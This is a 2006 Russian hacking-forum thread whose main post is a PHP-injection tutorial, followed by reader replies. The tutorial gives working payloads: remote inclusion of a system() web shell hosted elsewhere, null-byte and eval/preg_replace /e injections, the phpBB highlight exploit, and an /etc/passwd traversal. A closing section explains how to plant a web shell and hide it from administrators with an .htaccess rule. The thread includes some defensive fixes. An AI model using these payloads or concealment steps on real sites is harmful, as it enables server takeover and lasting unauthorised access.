TRUE PHP-injection

Discussion in 'Уязвимости' started by Zadoxlik, 4 Sep 2006.

  1. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Тут такая тема пошла в с пхп-инъекциями, каждый пишет свою статью и освещает в ней все одно и тоже. Было обидно смотреть, как каждый тщетно пытается раскрыть тему, я решил написать что-то боль-менее полноценное и завершенное, хотя, разумеется, все не идеально и здесь наверняка тоже будет чего добавить и подправить, но тем не менее... И так.
    PHP-injection
    все тоноксти инъецирования кода в PHP скрипты

    В этой статье мы рассмотрим методику проведения атак класса PHP-injection. Это - не только стандартные пережеванные случаи с include. Статья ни в коем разе не призывает вас к каким-либо противоправным дейсвиям. Все изложенное написано прежде всего с целью предупреждения подобных ошибок веб-программистов, которых (и первых и последних =) сейчас, к сожалению, очень не мало.

    1.1 Классика
    Самая известная ошибка, позволяющая проведение атаки PHP-inj - это подстановка значения переменной, определяющей подключаемый модуль, прямо
    в функцию подключения этого модуля include, когда передаваемое этой функции значение определяется только этой переменной.
    Возьмем такой фрагмент кода
    Code:
    $umol4anie="main.php";
    if(@$_GET['id'])
     include($_GET['id']);
    else
     include($umolchanie);
    URL в таком случае имеет вид http://site.ru/index.php?id=module.php. Часто (почти всегда), если этого не запрещает конфигурация PHP, мы можем вставить в тело скрипта свой фрагмент, подменив адрес к include'аемому скрипту. Вот пример инъекции:
    http://site.ru/index.php?id=http://othersite.ru/anyfile
    Где содержимое anyfile - это неинтерпретированный на othersite.ru PHP-скрипт. Например вот такой:
    Code:
    <?
    system($_GET['c']);
    ?>
    Т.о. мы получим веб-шелл. А выполнять команды сможем примерно так:
    http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
    Обойти эту уязвимость можно многими путями. Некоторые из попыток сделать это, также не приведут ни к чему хорошему. Рассмотрим такой пример:
    Code:
    $ex=".php";
    $umol4anie="main".$exp;
    if(@$_GET['id'])
     include($_GET['id'].$exp);
    else
     include($umolchanie);
    Модуль ввиде файла lol.php в данном случае подключается так http://site.ru/index.php?id=lol. Припишем к нашему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно также:
    http://site.ru/index.php?id=http://othersite.ru/anyfile&c=[COMMAND]
    Действительно, ведь скрипт сам прикрутит расширение php.
    Это были самые элементарные атаки PHP-injection. Ниже мы рассмотрим кое-что по-занимательнее.
    Code:
    Лирическое отступление:
    
    Хочу отметить, что устоявшееся мнение о том, что веб-шелл - это файл-скрипт наподобие remview.php с приятным графическим интерфейсом для обзора и редактирования файлов и папок на сервере ошибочно. Веб-шелл - это интерфейс для доступа к командному интерпретатору на сервере, полученный средставми скрипта на веб-сервере.
    В современных аналогах remview.php присутствует функция доступа к cmd. Т.о. частью функций этих скриптов является веб-шелл. Однако все функции, связанные с файловой системой в нормально настроенных серверах могут быть осуществлены без использования cmd средствами PHP.
    
    
    1.2 Почти история
    В конце этой заметки Вы поймете почему у нее такое название. Функция file_exists проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. Т.е. файл должен быть доступен через файловую систему сервера. Таким образом мы сможем исключить любую инъекцию удаленного фрагмента.
    Code:
    $ex=".php";
    $umol4anie="main".$exp;
    if(@$_GET['id'])
     $final=$_GET['id'].$exp;
    else
     $final=$umolchanie;
    if(file_exists($final))
     include($final);
    До конца ли безопасна такая конструкция? Нет, не всегда. Представьте, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом полученный файл с зловредным кодом будет находится на сервере, и одна обработка file_exists здесь не спасет. Т.е. если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась.
    Однако почти всегда у аватар расширения не выходят за границы списка gif, jpg, jpeg, png, а у аттачей zip, rar, doc и другие безобидные вещи. Но в перемнной $ex как правило содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код у нас в файле av132.gif, а расширение, прикручиваемое внутри index.php неизвестно. В PHP есть такая вещь, как magic_quotes_gpc. Эта опция PHP разрешает слеширование (экранирование) всех входящих в запрос потенциально опасных символов. В их число входит апостроф ', кавычка " и другие. Т.е. если мы послали в куках либо GET, POST запросе строку antichat's_sniffer, то скрипт ее получит как antichat\'s_sniffer. Сей пасс иногда спасает криворуких программистов от взлома их скрипта, т.к. слеширование очень часто, во всевозможнейших ситуациях обезоруживает зловредный код.
    Однако программистам с опытом эта функция доставляет больше хлопот чем помощи. Как раз поэтому-то еще остались хостеры, которые не держут включенной эту опцию. Именно magic_quotes_gpc установленная на OFF позволит провести нам инъекцию. К числу потенциально опасных символов относится нулевой байт. Нулевой байт обозначает конец строки. Т.е, если его вписать в середине строки, будет воспринята лишь часть строки до этого символа (все это на пальцах и условно, не везде нулевой байт не может быть просто символом строки, но в нашем случае именно так). Слеширование нулевого байта обезоруживает его, символ теряет свое значение. Однако без magic_quotes_gpc слешировать его врятли кто захочет. Вот пример инъекции:
    http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]
    %00 - закодированный в формат URL нулевой байт. Строка передаваемая функции include имеет вид forum/avatars/user/av132.gif[NULL].php. Как я отмечал выше, нулевой байт «отрезает» правую часть строки. Таким образом прикручиваемое расширение не имеет значения и мы подставляем в файл PHP фрагмент из аватары av132.gif. Правда сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от трюка с нулевым символом. Поэтому параграф имеет такое название.
    1.3 elseif или что еще можно сделать
    Помимо описанных выше действий можно сотворить еще много всего, но каждый раз это зависит от данного конкретного примера. Разберем один примерчик. Допустим у нас есть такой фрагмент минимодульного движка
    Code:
    error_reporting(0);
    $ex=".php";
    //$cat - папка с модулями
    $umol4anie="main;
    #папка с модулями#
    if($_GET['cat']=='files')
     $cat="files";
    elseif($_GET['cat']=='docs')
     $cat="docs";
    else
     echo "Неверный раздел";
    if(@$_GET['id'])
     $final=$_GET['id'];
    else
     $final=$umolchanie;
    if(!eregi("[\.']", $final) && str_replace(chr(0),'f',$final)==$final)
     include($cat."/".$final.$ex);
    else
     include("error404".$ex);
    
    Здесь не проверяется существование файла. Автор скрипта полагает, что защиты, предоставляемой регулярным выражением, каким он проверяет $final достаточно. Однако это не так.
    Если в гет запросе значение параметра cat не удовлетворяет требуемым, мы получим предупреждение о том, что раздел неверен, однако дальнейшее исполнение скрипта будет продложено. Ошибки автор скрыл через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно. Однако, мы можем передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru наш скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно.
    Еще к слову о попытке предотварить подобные явления поиском в строке каких-то подстрок или символов. В include (и аналоги) удаленно инъекцтировать можно не только по http, но и по ftp.

    Примечания к перовму разделу
    1)Важно! В случае инъектирования удаленного кода использование нулевого символа необязательно (и кроме того нежелательно, т.к. трюк с «ядовитым нулем», как Вы знаете работает невсегда)! Для отсечения прикручиваемого расширения можно поставить в конце строки ?. Тогда строка, преданная на инклуд, будет иметь примерно следующий вид:
    http://your.site.ru/script.txt?.php
    А по протоколу HTTP, все что идет после ? расценивается, как параметры, передаваемые скрипту.
    2)Вместо функции include в скрипте могут фигурировать схожие include_once, require, require_once, которые так же могут задействоваться в описанных уязвимостях.
    3)Инъекция удаленного фрагмента может быть произведена только при соотвтствующей конфигурации PHP.
    4)Инъекция с нулевым байтом может быть произведена только при соотвтствующей конфигурации PHP. Исключением может быть скрипт, где автор сам по каким-либо причинам stripslashes'ирует входящие данные перед инклудом.
    2.1 upload
    Вспоминаем 1.2. Там мы загружали файл/аватар на форум или какой-то другой движок с функцией пользовательского аплоада. Отмечалось, что расширения файла ограничены, однако иногда это можно обойти. Хотя ошибка очень прозрачна, она до сих пор нередко встречается.
    Допустим вы загружаете файл. Неопытные программисты иногда пишут проверку расширений примерно вот так:
    Code:
    $exps=array(
    'rar',
    'zip',
    'doc',
    'txt'
    ); //Возможные расширения
    //Проверяем расширение
    $rash=explode(".",$_FILES["userfile"]['name']);
    if(!in_array(strtolower($rash[1]), $exps))
     die('у файла неверное расширение');
    
    Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл как PHP-интерпретируемый (если не прописаны соотвтетствующие установки в .htaccess).
    На самом деле, скрипту дОлжно проверять самую посленюю из частей имени файла, полученных разбивкой последнего по точкам. Другая версия парсера:
    Code:
    $exps=array(
    'rar',
    'zip',
    'doc',
    'txt'
    ); //Возможные расширения
    //Проверяем расширение
    $rash=explode(".",$_FILES["userfile"]['name']);
    if(count($rash)< 2)die('у файла нет расширения');
    if(!in_array(strtolower($rash[count($rash)-1]), $exps))
     die('у файла неверное расширение');
    
    Однако, учитывая особенности сервера Apache (и других), можно утверждать, что данный вариант проверки также уязвим, и на момент написания статьи, уязвимости подвержено множество извсетных и неочень PHP движков.
    В чем фишка? Если апач не может определить расширения файла, т.е. не обнаруживает его среди описанных в своих конфигах, он смотрит следующую часть имени файла, отделенную точной от расширения (и т.д.).
    Т.е. например файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP скрипт!
    В итоге - единственным верным решением будет - полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess с удалением/переопределением опасных расширений. Например:
    Code:
    RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl
    Можно поступить и друим способом (все чаще можно встретить такое решение). Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.

    2.2 Eval
    Функция eval в PHP интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP приложении. Очень часто она применяется для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать тоже самое можно и без eval практически теми же усилиями, разработчики часто прибегают к использованию eval. С помощью вот такой строки был взломан один хацкерский ресурс, имя которого мы не называем:
    Code:
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
    Передавая в GET'е параметр id ввиде id={${php_code}}, я получили вебшелл. Что означает ${php_code}} см. ниже.
    2.3.1 preg_replace - зачем там /e?
    Функция preg_replace заменяет подстроку (первый параметр), заданную регулярным выражением на строку (второй параметр), которая так же может быть задана регулярным выражением, в данной строке (третий параметр). Так же существует необязательный 4-ый параметр, но он нас не интересует.
    Заменяемая подстрока имеет следующий формат :
    Code:
    [разделитель][рег. выражение][разделитель][модификаторы]
    Где разделитель - это любой неалфавитный и нециферный символ (чаще всего это / или #),
    рег. выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например модификатор i означает поиск без учета регистра.
    В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки. Т.е. /(.*)/i - означает поместить всю данную строку в результат №1. Номеруются результаты начиная с номера 1 с лева на право по ходу расположения открывающих логических скобок в заменяемой подстроке. Чтобы разместить результат с номером n в заменяющей строке используется сочетание \\n или равносильное $n. Пример:
    Code:
    $c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);
    Здесь переменная $c примет значение <b>aba</b>
    Нас будет интересовать модификатор e, используемый в preg_replace. Он предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпртирует как PHP-код. Т.е. если у нас есть строка $c="ping", то прогнав вот такой вот PHP-сценарий
    Code:
    $c=preg_replace("/^(.*)$/ie", "print('\\1')", $c);
    на монитор мы получим содержимое строки $c - «ping». На практике рассмотрим нашумевшую PHP-инъекцию в phpBB в viewtopic.php. Поймем в чем фишка этой инъекции.
     
    #1 Zadoxlik, 4 Sep 2006
    Last edited: 4 Sep 2006
    10 people like this.
  2. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    И так, перед нами фрагмент кода viewtopic.php из phpBB версии 2.0.15:
    Code:
    $message = str_replace('\"', '"', substr(@preg_replace
    ('#(\>(((?>([^><]+|(?R)))*)\<))#se',
     "@preg_replace('#\b(" . str_replace('\\', 
    '\\\\', $highlight_match) . ")\b#i',
     '<span style=\"color:#" . $theme['fontcolor3'] . 
    "\"><b>\\\\1</b></span>', '\\0')"
    , '>' . $message . '<'), 1, -1));
    highlight_match - переменная, где лежат слова, которые следует подсветить. Пользователь задает $_GET['highlght'], где пробелы разделяют различные слова. $highlight_match - его потомок, где вместо пробелов используется |. Трудно разбирать такое длинное выражение. Ну вам собственно и не требуется понять смысл сего полностью. Взгляните - $highlight_match учавствует в параметре replacement функции preg_replace, где в заменяемой подстроке участвует модификатор «e». Причем $highlight_match нигде не обрамляется в addslashes. Это означает что мы можем внедриться в тот PHP-сценарий, который выполнится перед заменой подстроки в строке $message.
    Если пользователю задать highlight как '.system('dir').', то то, что выполнит скрипт перед заменой в $message будет иметь примерно такой вид:
    Code:
    preg_replace('#\b('.system('dir').')\b#i', '...', '...')
    2.3.2 preg_replace with /e and with NULL
    Как уже было сказано, условно можно считать, что непопорченый magic_quotes_gpc или addslashes NULL отрезает правую часть строки. Для чего это может быть использовано? Оказывается, много для чего. Нужно только воображение. В частонсти очень хорошо NULL можно применить при работе с preg_replace. Если в заменяемой подстроке, определяемой регулярным выражением, всунута переменная, которую тем или иным способом определяет пользователь, можно попробовать изменить структуру заменяемой подстроки так, чтобы в конце стоял модификатор /e. Рассмотрим простенький пример:
    Code:
    preg_replace("#$c#i", '\\1', $mda);
    Представим, что и $c и $mda мы можем как-то определить. По-настоящему - в результате каких-то телодвижений, ну а у нас в эксперименте пускай мы зададим $mda и $c прямо через GET.
    Code:
    script.php?c=(system\(ls\))%23e%00&mda=system(ls)
    В результате мы получим листинг файлового каталога. А почему это так - попробуйте подумать сами, обо всем этом уже писалось в данной статье. %23 - URL-закодированный символ #.

    2.4 Движки на файлах
    Некоторые бесплатные хостеры не предоставляют доступ к MySQL. Для таких случаев пишутся движки на т.н. текстовых ДБ, т.е. ДБ ввиде обычных файлов в домашнем каталоге. Структура и общение с текстовыми ДБ может быть самая разная. Иногда разработчики даже придумывают библиотеки функций для работы с текстовыми ДБ с помощью некоего подобия языка SQL. В таком случае текстовая DB представляет из себя папки и файлы, где (например) папки - это базы данных, файлы - таблицы, а внутри файлов все как-то мудрено организовано ввиде структуры таблицы. Это как пример.
    Нас будет интересовать другой подход к организации ДБ на файлах. Например, что может быть проще того, чтобы заносить все данные в некий PHP файл, доступ к которому будет закрыт из вне, с тем чтобы потом его инклудать и получать массивы данных прямо в готовом виде. Рассмотрим уязвимость в exBB 1.9.1.
    Нам неважно то, как мы сможем получить доступ к админ панели (это делается с помощью других, не PHP-inj уязвимостей в движке), но главное что такая возможность есть. Зайдем в админ панель, в конфигурации.
    Теперь поищем, где хранятся все эти данные. Оказывается, что они лежат как раз в таком инклудаемом файле (доступ к нему закрыт .htaccess'ом). Файл имет вид:
    Code:
    <?
    $exbb['boardurl'] = 'http://exbb';
    $exbb['home_path'] = 'z:/home/exbb/www/';
    $exbb['boardname'] = 'Название форума';
    $exbb['boarddesc'] = 'описание форума';
    $exbb['announcements'] = 1;
    $exbb['topics_per_page'] = 15;
    $exbb['posts_per_page'] = 10;
    $exbb['ch_files'] = 0777;
    $exbb['ch_dirs'] = 0777;
    $exbb['ru_nicks'] = 1;
    $exbb['reg_simple'] = 0;
    $exbb['default_lang'] = 'russian';
    $exbb['default_style'] = 'Original';
    $exbb['membergone'] = 15;
    ...
    
    Я сумел выйти за кавычку только в одном из параметров. Это - $exbb['boardurl']. Т.е. в итоге я получил такой код:
    Code:
    $exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''
    Если переменные хранят значения за двойными кавычками ", то нам даже необязательно выходить за них, что было необходимо с '. Во-первых, мы можем вывести себе любую переменную, просто прописав ее имя, а во-вторых можем выполнить любую функцию, в т.ч. всякие system и аналоги с помощью трюка, который описан ниже.
    [​IMG]

    2.5 Что еще могет быть ?
    Рассмотрим подробнее некоторые конкретные, часто встречающиеся, примеры.

    !!!!!Опасно!!!!!
    1)Использовать массив данных, без предварительного объявления. Например:
    Code:
    for($i=0;$i<10;$i++)
    {
     @$a[$i]=$s[$i];
     //Копируем 10 первых
     //элементов массива $s
     //в a без определения $a
    }
    for($i=0;$i<count($a);$i++)
    {
     eval('$y['.$a[$i].']='.$i);
     //какое-то извращение
     //криворукого программера =)
    }
    Подразумевается, что $s - «безопасный» массив, т.е. никакой опасности
    для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals.
    Если послать такой GET запрос:
    Code:
    http://host/script.php?a[10]=1;system('ls');//
    Мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от 0-го элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому т.о. мы получим доступ к якобы уже определенному массиву.
    Для избавелния от данной ошибки, надо предварительно написать определение $a=array().
    При передаче элемента массива через GET, POST запросы или куки, ключ не ставится в кавычки. Т.е. например в запросе следует писать array[nameindex] а не array['nameindex'].
    Эту ошибку часто можно встретить при работе с модульными файлами. Т.е. расчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и, иногда, при особым образом сформированном запросе непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще - движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - вообще очень лакомый кусочек, т.к. часто там можно встретить, include, require, eval и др. с использованием неопределенных переменных.
    2)Каким-либо образом подвергать уже определенные переменные опасности переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard.
    Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (т.е. файл, к которому предполагается непосредственное обращение пользователя) в самом начале этого скрипта. Все конфигурационные данные представляют из себя элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET в одноименные переменные внутри скрипта.
    Code:
    if (!empty($_GET))
    {
     foreach ($_GET as $tmp_varname => $tmp_value)
     {
     $$tmp_varname = $tmp_value;
     }
    }
    Обратите внимание, что это происходит после того как были определены конфигурацинные данные! Т.о. мы можем переопределить все конфигурационные данные, сформировав запрос примерно такого вида:
    Code:
    index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd
    С помощью представленной уязвимости можно инклудить произвольный файл, загружать на сервер свои файлы и т.д. Уязвимость нашел ShanKaR.
    3)Не думать о разнице между " и '. Выше я упоминал про взлом хацкерского ресурса. Осуществлен он был через следующий фрагмент скрипта:
    Code:
    eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
    Где в качестве $HTTP_GET_VARS[$register_poll_vars[$i]] можно было подставить параметр id. Если бы в скрипте, например, была бы объявлена переменная, содержащая пароль к ДБ, а значение этой самой $$register_poll_vars[$i] выводилось бы где-то в stdout'е, мы бы могли передать в id строку $dbpasswd (переменная, содержащая пароль) и получили бы пароль от ДБ.
    [​IMG]
    Но это еще полбеды. Дело в том, что разработчики позаботились о том, чтобы мы могли вызывать произвольную функцию прямо из строки (не "bla".func()."bla", а непосредственно без выхода за двойную кавычку). Делается это так:
    {${function()}}
    Где function() - обращение к произвольной функции. Т.е. если передать нашему скрипту строку {${system([COMMAND])}}, мы получим веб-шелл.

    Примечания ко второму разделу
    1)В заметке 2.1 загруженный скрипт будет являться PHP-интерпретируемым в том случае, когда на каталог с загруженными файлами не стоит соотвтествующей директивы. Чтобы ее установить (Apache) нужно создать файл .htaccess в этой папке, или в папке уровнем ниже примерно с таким содержанием:
    Code:
    RemoveType .php3 .php .php4 .php5 .phtml .phtm .cgi .pl
    Среди пречисленных расширений должны быть указаны все те, файлы с которыми интерпретируются как скрипты.
    2)К заметке 2.3. Каждый параметр preg_replace может быть массивом.

    PHP-injection 2 web-shell
    Т.к. обнаруженные баги на сайтах обычно долго не живут, то держать ввиде веб-шелла саму уязвимость не только неудобно, но и ненадежно. Здесь я опишу как нам залить на сайт и укромно припрятать вебшелл.
    Прежде всего, у нас должна быть папка с правами на запись. Чтобы получить листинг файлов и папок с правами рекурсивно воспользуйтесь командой:
    Code:
    ls -Rla
    Для Windows:
    Code:
    dir /Q
    В случае если доступ к cmd из скрипта запрещен - тут Вы сможете взять скрипт, который выводит рекурсивно все файлы и папки, напротив тех, на которые разрешена запись ставится 1 (используйте include('http://smth.narod.ru/script.php') в php-инъекции).
    Вот теперь, когда вы нашли директорию с правами на запись, надо залить сам скрипт.
    Для того чтобы узнать какая качалка стоит на сервере выполните следующую команду:
    Code:
    which get;which wget;which lynx;which curl;which fetch;which links
    В ответ будут выведены пути к соответствующим утилитам. Пользоваться каждой из них очень просто.
    Если доступа к cmd нет, можно обойтись простым PHP скриптом. Скрипт для заливки удаленного файла на здеся.
    Теперь нам надо спрятать наш скриптик, чтобы админ, пропатчив приложение не заметил его беглым взглядом. Чтобы спрятать шелл, нужно придумать ему неприметное название. Но если он, например, находится в папке для аватар, то как его не переименовывай, файл с расширением php - белая ворона среди гифок и джепегешок. Но что нам мешает загрузить в папку .htaccess файл и указать, что файлы с расширением gif интерпретировать как PHP скрипт. Строку
    «AddType application/x-httpd-php gif» можно занести в .htaccess с помощью echo из cmd или простейшим скриптом.
    В случае установленного на сервере safe_mode Вы не сможете использовать функции выполнения системных команд и программ. К счастью, safe_mode это директива PHP, так что если PHP-инъекцию удасться найти можно будет химичить с Perl'ом, на которого ограничения safe_mode никак не распространяются. Тут есть пример вебшелла на перле.

    Ко всему выше сказанному
    Не забывайте, что, согласно HTTP протоколу, пользователь может отправлять параметры скрипту четырмя способами:
    GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере, и пользователем модифицирована быть не может, в то время как куки вы можете спокойно модифицировать. Это можно делать перед подачей в браузер (с помощью спец. программ или заложенных в браузер возможностей), а проще обхоиться вообще без бруазера, т.е. генерировать HTTP запросы самому (делать это можно с помощью чего угодно, например есть такая программа Инет кряк), благо основы HTTP выучить можно буквально за несколько минут. Прелесть в том, что многие начинающие веб-программисты относятся к кукакм как к чему-то такому, что проверять надо менее строго чем POST и GET (ну вроде того что последние два можно задавать прямо в строке браузера или в формочке на сайте, а куки еще и «хрен знает как ты подделаешь»), поэтому, очень часто, уязвимости можно встретить именно в параметрах, передаваемых куками. Это могут быть как XSS, SQL-injection так и PHP-injection.
    Я рекомендую (угагага) для поиска уязвимостей PHP-injection писать программку, которая бы сканировала все файлы движка и вынимала из них всяческие подозрительные вещи, например все то, что описано в статье. Все eval, строки регулярных выражений с модификатором e, не говоря уже о include, require и т.д. А анализируется подобный материал потом достаточно быстро и просто. Простенький пример такой программки можете взять на тута вот(Лучше переписать, т.к. это просто иллюстрация). Хотя, конечно, не всегда найти что хочешь можно путем анализа логов подобной программы.

    Специально для ][ от Zadoxlik'а с antichat.ru, о как
     
    #2 Zadoxlik, 4 Sep 2006
    Last edited: 23 Oct 2006
    2 people like this.
  3. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Начал читать статью, прочитал строк 40 и только потом понял, что я ее уже читал. Статья порадовало, но не хватает примеров из реальности - то есть рассмотрения приведенных ошибок в свете действительной ситуации с форумами и т. п.
     
  4. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    уже читал,статья из хакера походу. но респект!
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Да, из хака точно. но правильно, тут значительно статья лучше, они видать обрезали твоё ух. а так норма.=)
     
  6. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Если новичок до такой степени новичок, я думаю если бы здесь что-то по этому поводу бы было написано, ему бы это не помогло
     
  7. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    Zadoxlik, респект за старания, но ты своим первым абзацем обозначил контент статьи, такое ощущение что больше нет интересных тем для обсуждения, похоже что статья писалась для того, что бы хоть что-то опубликовать в журнал.
     
    _________________________
  8. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Нет статья писалась для античата и уже год назад примерно %)
     
    1 person likes this.
  9. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Статья классная. Апплодисменты Zadoxlikу :).
    Уже читал ее в ][, но сейчас с удовольствием перечитал.
    К описанным в ней способам реализации php-inj можно было бы еще добавить, к примеру, вариант пхп-иньекций через логи Апача..
     
    #9 Digimortal, 5 Sep 2006
    Last edited: 21 Nov 2006
    1 person likes this.
  10. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Хорошая штука switch
    Пример:
    Code:
    $file = stripslashes($_GET['do']);
    switch ($file)
    {
    case reg : $file = 'regidter.php'; break;
    case info :  $file = 'information.php';   break;
    case exit : $file = 'logout.php'; break;
    default: $file = 'index.php'; break;
    }
    include($file);
    Незнаю, писали это где-то или нет, но сам её использую!
     
  11. life4hack

    life4hack New Member

    Joined:
    16 Aug 2006
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Я давно интересовался этой темой, но по какой-то причине нигде ее не встречал.
    Должен сказать что статья для меня оказалась очень полезной за что и выражаю свою благодарность!
     
  12. __XT__

    __XT__ Elder - Старейшина

    Joined:
    7 Nov 2006
    Messages:
    10
    Likes Received:
    17
    Reputations:
    7
    всё клёво нашёл много нового...однако кто-то что недописал или не хотел дописать...я сейчас упаду...неужели пхп-инъейкции у нас все идут через инклюдинг=)))))
    а чтение, запись, удаление, просмотр, получение и др. функции=)
     
  13. jonart

    jonart Elder - Старейшина

    Joined:
    6 Apr 2005
    Messages:
    37
    Likes Received:
    5
    Reputations:
    0
    Классная статья респект афффтору! =)
     
  14. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Это правельная статья, а то я до конца в пхп иньекции давно разобраться не мог.
    --------------------